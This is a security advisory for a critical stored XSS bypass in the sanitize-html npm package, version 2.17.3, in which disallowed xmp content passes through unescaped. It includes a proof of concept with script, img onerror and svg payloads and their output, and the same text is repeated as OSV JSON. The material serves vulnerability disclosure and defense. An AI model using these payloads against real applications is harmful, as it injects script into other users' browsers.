GHSA-RPR9-RXV7-X643
Vulnerability from github – Published: 2026-05-14 18:26 – Updated: 2026-06-12 22:02Summary
Under the default configuration, sanitize-html can turn attacker-controlled content inside a disallowed xmp element into live HTML or JavaScript. This is a sanitizer bypass in the default disallowedTagsMode: 'discard' path and can lead to stored XSS in applications that render sanitized output back to users.
Details
In sanitize-html@2.17.3, the default nonTextTags list includes only script, style, textarea, and option in index.js lines 138-142. That means disallowed xmp tags are not treated as "drop the entire contents" tags.
Later, in the ontext handler at index.js lines 569-577, the code special-cases textarea and xmp and appends their text content directly to the output without escaping:
} else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (tag === 'textarea' || tag === 'xmp')) {
result += text;
}
Because htmlparser2 treats xmp as a raw-text element, markup inside xmp is parsed as text on input but becomes live markup again once it is appended unescaped to the sanitized output.
This creates a default sanitizer bypass. For example, a disallowed <xmp> wrapper can be used to smuggle <script> or event-handler payloads through sanitization.
The README also appears to contradict the implementation. In the "Discarding the entire contents of a disallowed tag" section, the documented exception list names only style, script, textarea, and option, and does not mention xmp.
PoC
Tested locally against sanitize-html@2.17.3 on Node.js v25.2.1.
- Install the package:
npm install sanitize-html
- Run the following script:
const sanitizeHtml = require('sanitize-html');
console.log(sanitizeHtml('<xmp><script>alert(1)</script></xmp>'));
console.log(sanitizeHtml('<xmp><img src=x onerror=alert(1)></xmp>'));
console.log(sanitizeHtml('<xmp><svg><script>alert(1)</script></svg></xmp>'));
- Observed output:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg><script>alert(1)</script></svg>
- Render any of the returned strings in a browser context that trusts
sanitize-htmloutput, for example:
const dirty = '<xmp><script>alert(1)</script></xmp>';
const clean = sanitizeHtml(dirty);
If clean is inserted into the DOM or stored and later rendered as trusted HTML, the attacker-controlled script executes.
Impact
This is a cross-site scripting vulnerability in the default sanitizer behavior. Any application that uses sanitize-html defaults and then renders the returned HTML as trusted output is impacted. A remote attacker who can submit HTML content can trigger execution of arbitrary JavaScript in another user's browser when that content is viewed.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "sanitize-html"
},
"ranges": [
{
"events": [
{
"introduced": "2.17.3"
},
{
"fixed": "2.17.4"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.17.3"
]
}
],
"aliases": [
"CVE-2026-44990"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T18:26:27Z",
"nvd_published_at": "2026-06-12T21:16:22Z",
"severity": "CRITICAL"
},
"details": "### Summary\nUnder the default configuration, `sanitize-html` can turn attacker-controlled content inside a disallowed `xmp` element into live HTML or JavaScript. This is a sanitizer bypass in the default `disallowedTagsMode: \u0027discard\u0027` path and can lead to stored XSS in applications that render sanitized output back to users.\n\n### Details\nIn `sanitize-html@2.17.3`, the default `nonTextTags` list includes only `script`, `style`, `textarea`, and `option` in `index.js` lines 138-142. That means disallowed `xmp` tags are not treated as \"drop the entire contents\" tags.\n\nLater, in the `ontext` handler at `index.js` lines 569-577, the code special-cases `textarea` and `xmp` and appends their text content directly to the output without escaping:\n\n```js\n} else if ((options.disallowedTagsMode === \u0027discard\u0027 || options.disallowedTagsMode === \u0027completelyDiscard\u0027) \u0026\u0026 (tag === \u0027textarea\u0027 || tag === \u0027xmp\u0027)) {\n result += text;\n}\n```\n\nBecause `htmlparser2` treats `xmp` as a raw-text element, markup inside `xmp` is parsed as text on input but becomes live markup again once it is appended unescaped to the sanitized output.\n\nThis creates a default sanitizer bypass. For example, a disallowed `\u003cxmp\u003e` wrapper can be used to smuggle `\u003cscript\u003e` or event-handler payloads through sanitization.\n\nThe README also appears to contradict the implementation. In the \"Discarding the entire contents of a disallowed tag\" section, the documented exception list names only `style`, `script`, `textarea`, and `option`, and does not mention `xmp`.\n\n### PoC\nTested locally against `sanitize-html@2.17.3` on Node.js `v25.2.1`.\n\n1. Install the package:\n\n```bash\nnpm install sanitize-html\n```\n\n2. Run the following script:\n\n```js\nconst sanitizeHtml = require(\u0027sanitize-html\u0027);\n\nconsole.log(sanitizeHtml(\u0027\u003cxmp\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/xmp\u003e\u0027));\nconsole.log(sanitizeHtml(\u0027\u003cxmp\u003e\u003cimg src=x onerror=alert(1)\u003e\u003c/xmp\u003e\u0027));\nconsole.log(sanitizeHtml(\u0027\u003cxmp\u003e\u003csvg\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/svg\u003e\u003c/xmp\u003e\u0027));\n```\n\n3. Observed output:\n\n```html\n\u003cscript\u003ealert(1)\u003c/script\u003e\n\u003cimg src=x onerror=alert(1)\u003e\n\u003csvg\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/svg\u003e\n```\n\n4. Render any of the returned strings in a browser context that trusts `sanitize-html` output, for example:\n\n```js\nconst dirty = \u0027\u003cxmp\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/xmp\u003e\u0027;\nconst clean = sanitizeHtml(dirty);\n```\n\nIf `clean` is inserted into the DOM or stored and later rendered as trusted HTML, the attacker-controlled script executes.\n\n### Impact\nThis is a cross-site scripting vulnerability in the default sanitizer behavior. Any application that uses `sanitize-html` defaults and then renders the returned HTML as trusted output is impacted. A remote attacker who can submit HTML content can trigger execution of arbitrary JavaScript in another user\u0027s browser when that content is viewed.",
"id": "GHSA-rpr9-rxv7-x643",
"modified": "2026-06-12T22:02:01Z",
"published": "2026-05-14T18:26:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-rpr9-rxv7-x643"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44990"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/issues/5418"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/commit/8d4c882b4ed3a7ce802cd87f89f0c1cb7482b8c2"
},
{
"type": "PACKAGE",
"url": "https://github.com/apostrophecms/apostrophe"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Apostrophe has default XSS via `xmp` raw-text passthrough in `sanitize-html`"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.